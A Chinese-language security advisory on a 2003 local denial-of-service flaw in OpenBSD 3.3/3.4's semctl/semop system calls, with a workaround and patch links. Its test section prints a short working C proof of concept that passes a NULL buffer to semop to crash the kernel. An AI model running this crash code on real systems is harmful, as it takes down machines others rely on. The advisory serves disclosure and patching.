安全研究

安全漏洞
OpenBSD semctl/semop本地拒绝服务攻击漏洞

发布日期:2003-11-21
更新日期:2003-12-01

受影响系统:
OpenBSD OpenBSD 3.4
OpenBSD OpenBSD 3.3
描述:
BUGTRAQ  ID: 9086

OpenBSD是一款开放源代码操作系统。

OpenBSD在处理semctl和semop系统调用时存在问题,本地攻击者可以利用这个漏洞使内核产生错误,造成拒绝服务攻击。

问题是由于semctl和semop系统调用对用户提供的信号设置缺少正确的过滤检查,在引用没有进行边界检查的整数时,会导致由于引用非法地址的数据,在废弃时造成内核段冲突,产生拒绝服务。

<*来源:OpenBSD
  
  链接:http://www.openbsd.org/errata.html
        http://marc.theaimsgroup.com/?l=bugtraq&m=106952365720756&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

noir@uberhax0r.net 提供了如下测试方法:

#include <stdio.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <sys/ipc.h>

int
main()
{
    int i;

        for(i = 0; i < 0x40; i++)
                semop(i, (struct sembuf *) NULL, 0);

}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* sysctl -w kern.seminfo.semmni=`sysctl -n kern.seminfo.semmsl`

厂商补丁:

OpenBSD
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

OpenBSD OpenBSD 3.3:

OpenBSD Patch 013_sem.patch
ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.3/common/013_sem.patch

OpenBSD OpenBSD 3.4:

OpenBSD Patch 008_sem.patch
ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.4/common/008_sem.patch

浏览次数:2993
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障